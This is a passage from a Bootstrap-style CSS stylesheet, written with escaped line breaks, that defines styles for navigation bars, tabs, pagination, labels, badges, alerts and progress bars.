0;\n}\n\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child) {\n  border-bottom-left-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.input-group-addon:last-child {\n  border-left: 0;\n}\n\n.input-group-btn {\n  position: relative;\n  white-space: nowrap;\n}\n\n.input-group-btn:first-child > .btn {\n  margin-right: -1px;\n}\n\n.input-group-btn:last-child > .btn {\n  margin-left: -1px;\n}\n\n.input-group-btn > .btn {\n  position: relative;\n}\n\n.input-group-btn > .btn + .btn {\n  margin-left: -4px;\n}\n\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav:before,\n.nav:after {\n  display: table;\n  content: \" \";\n}\n\n.nav:after {\n  clear: both;\n}\n\n.nav:before,\n.nav:after {\n  display: table;\n  content: \" \";\n}\n\n.nav:after {\n  clear: both;\n}\n\n.nav > li {\n  position: relative;\n  display: block;\n}\n\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n\n.nav > li.disabled > a {\n  color: #999999;\n}\n\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #999999;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eeeeee;\n  border-color: #428bca;\n}\n\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n\n.nav > li > a > img {\n  max-width: none;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #dddddd;\n}\n\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.428571429;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #dddddd;\n}\n\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555555;\n  cursor: default;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n  border-bottom-color: transparent;\n}\n\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #dddddd;\n}\n\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #dddddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #ffffff;\n  }\n}\n\n.nav-pills > li {\n  float: left;\n}\n\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #ffffff;\n  background-color: #428bca;\n}\n\n.nav-stacked > li {\n  float: none;\n}\n\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n\n.nav-justified {\n  width: 100%;\n}\n\n.nav-justified > li {\n  float: none;\n}\n\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #dddddd;\n}\n\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #dddddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #ffffff;\n  }\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-right-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n\n.navbar:before,\n.navbar:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar:after {\n  clear: both;\n}\n\n.navbar:before,\n.navbar:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar:after {\n  clear: both;\n}\n\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n\n.navbar-header:before,\n.navbar-header:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar-header:after {\n  clear: both;\n}\n\n.navbar-header:before,\n.navbar-header:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar-header:after {\n  clear: both;\n}\n\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n\n.navbar-collapse {\n  max-height: 340px;\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  border-top: 1px solid transparent;\n  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n  -webkit-overflow-scrolling: touch;\n}\n\n.navbar-collapse:before,\n.navbar-collapse:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar-collapse:after {\n  clear: both;\n}\n\n.navbar-collapse:before,\n.navbar-collapse:after {\n  display: table;\n  content: \" \";\n}\n\n.navbar-collapse:after {\n  clear: both;\n}\n\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n.container > .navbar-header,\n.container > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n\n.navbar-brand {\n  float: left;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand {\n    margin-left: -15px;\n  }\n}\n\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n\n.navbar-toggle .icon-bar + .icon-bar {\n  margin-top: 4px;\n}\n\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n  .navbar-nav.navbar-right:last-child {\n    margin-right: -15px;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n  }\n}\n\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: inline-block;\n  }\n  .navbar-form select.form-control {\n    width: auto;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    padding-left: 0;\n    margin-top: 0;\n    margin-bottom: 0;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    float: none;\n    margin-left: 0;\n  }\n}\n\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-form.navbar-right:last-child {\n    margin-right: -15px;\n  }\n}\n\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-right-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.navbar-nav.pull-right > li > .dropdown-menu,\n.navbar-nav > li > .dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n  .navbar-text.navbar-right:last-child {\n    margin-right: 0;\n  }\n}\n\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: #e7e7e7;\n}\n\n.navbar-default .navbar-brand {\n  color: #777777;\n}\n\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n\n.navbar-default .navbar-text {\n  color: #777777;\n}\n\n.navbar-default .navbar-nav > li > a {\n  color: #777777;\n}\n\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333333;\n  background-color: transparent;\n}\n\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555555;\n  background-color: #e7e7e7;\n}\n\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #cccccc;\n  background-color: transparent;\n}\n\n.navbar-default .navbar-toggle {\n  border-color: #dddddd;\n}\n\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #dddddd;\n}\n\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #cccccc;\n}\n\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555555;\n  background-color: #e7e7e7;\n}\n\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #cccccc;\n    background-color: transparent;\n  }\n}\n\n.navbar-default .navbar-link {\n  color: #777777;\n}\n\n.navbar-default .navbar-link:hover {\n  color: #333333;\n}\n\n.navbar-inverse {\n  background-color: #222222;\n  border-color: #080808;\n}\n\n.navbar-inverse .navbar-brand {\n  color: #999999;\n}\n\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #ffffff;\n  background-color: transparent;\n}\n\n.navbar-inverse .navbar-text {\n  color: #999999;\n}\n\n.navbar-inverse .navbar-nav > li > a {\n  color: #999999;\n}\n\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #ffffff;\n  background-color: transparent;\n}\n\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #ffffff;\n  background-color: #080808;\n}\n\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444444;\n  background-color: transparent;\n}\n\n.navbar-inverse .navbar-toggle {\n  border-color: #333333;\n}\n\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333333;\n}\n\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #ffffff;\n}\n\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #ffffff;\n  background-color: #080808;\n}\n\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #999999;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #ffffff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #ffffff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444444;\n    background-color: transparent;\n  }\n}\n\n.navbar-inverse .navbar-link {\n  color: #999999;\n}\n\n.navbar-inverse .navbar-link:hover {\n  color: #ffffff;\n}\n\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n\n.breadcrumb > li {\n  display: inline-block;\n}\n\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #cccccc;\n  content: \"/\\00a0\";\n}\n\n.breadcrumb > .active {\n  color: #999999;\n}\n\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n\n.pagination > li {\n  display: inline;\n}\n\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.428571429;\n  text-decoration: none;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n}\n\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-bottom-left-radius: 4px;\n  border-top-left-radius: 4px;\n}\n\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  background-color: #eeeeee;\n}\n\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 2;\n  color: #ffffff;\n  cursor: default;\n  background-color: #428bca;\n  border-color: #428bca;\n}\n\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #999999;\n  cursor: not-allowed;\n  background-color: #ffffff;\n  border-color: #dddddd;\n}\n\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n}\n\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-bottom-left-radius: 6px;\n  border-top-left-radius: 6px;\n}\n\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n}\n\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-bottom-left-radius: 3px;\n  border-top-left-radius: 3px;\n}\n\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n\n.pager:before,\n.pager:after {\n  display: table;\n  content: \" \";\n}\n\n.pager:after {\n  clear: both;\n}\n\n.pager:before,\n.pager:after {\n  display: table;\n  content: \" \";\n}\n\n.pager:after {\n  clear: both;\n}\n\n.pager li {\n  display: inline;\n}\n\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n  border-radius: 15px;\n}\n\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #999999;\n  cursor: not-allowed;\n  background-color: #ffffff;\n}\n\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #ffffff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\n\n.label[href]:hover,\n.label[href]:focus {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n\n.label:empty {\n  display: none;\n}\n\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n\n.label-default {\n  background-color: #999999;\n}\n\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #808080;\n}\n\n.label-primary {\n  background-color: #428bca;\n}\n\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #3071a9;\n}\n\n.label-success {\n  background-color: #5cb85c;\n}\n\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n\n.label-info {\n  background-color: #5bc0de;\n}\n\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n\n.label-warning {\n  background-color: #f0ad4e;\n}\n\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n\n.label-danger {\n  background-color: #d9534f;\n}\n\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #ffffff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #999999;\n  border-radius: 10px;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\na.badge:hover,\na.badge:focus {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n\na.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #428bca;\n  background-color: #ffffff;\n}\n\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n\n.jumbotron {\n  padding: 30px;\n  margin-bottom: 30px;\n  font-size: 21px;\n  font-weight: 200;\n  line-height: 2.1428571435;\n  color: inherit;\n  background-color: #eeeeee;\n}\n\n.jumbotron h1,\n.jumbotron .h1 {\n  line-height: 1;\n  color: inherit;\n}\n\n.jumbotron p {\n  line-height: 1.4;\n}\n\n.container .jumbotron {\n  border-radius: 6px;\n}\n\n.jumbotron .container {\n  max-width: 100%;\n}\n\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding-top: 48px;\n    padding-bottom: 48px;\n  }\n  .container .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.428571429;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n  border-radius: 4px;\n  -webkit-transition: all 0.2s ease-in-out;\n          transition: all 0.2s ease-in-out;\n}\n\n.thumbnail > img,\n.thumbnail a > img {\n  display: block;\n  height: auto;\n  max-width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n}\n\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #428bca;\n}\n\n.thumbnail .caption {\n  padding: 9px;\n  color: #333333;\n}\n\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n\n.alert .alert-link {\n  font-weight: bold;\n}\n\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n\n.alert > p + p {\n  margin-top: 5px;\n}\n\n.alert-dismissable {\n  padding-right: 35px;\n}\n\n.alert-dismissable .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n\n.alert-success .alert-link {\n  color: #2b542c;\n}\n\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n\n.alert-info .alert-link {\n  color: #245269;\n}\n\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n\n.alert-warning .alert-link {\n  color: #66512c;\n}\n\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n\n.alert-danger .alert-link {\n  color: #843534;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #ffffff;\n  text-align: center;\n  background-color: #428bca;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -webkit-transition: width 0.6s ease;\n          transition: width 0.6s ease;\n}\n\n.progress-striped .progress-bar {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 40px 40px;\n}\n\n.progress.active .progress-bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: linear-gradient(45deg, rgba(255, 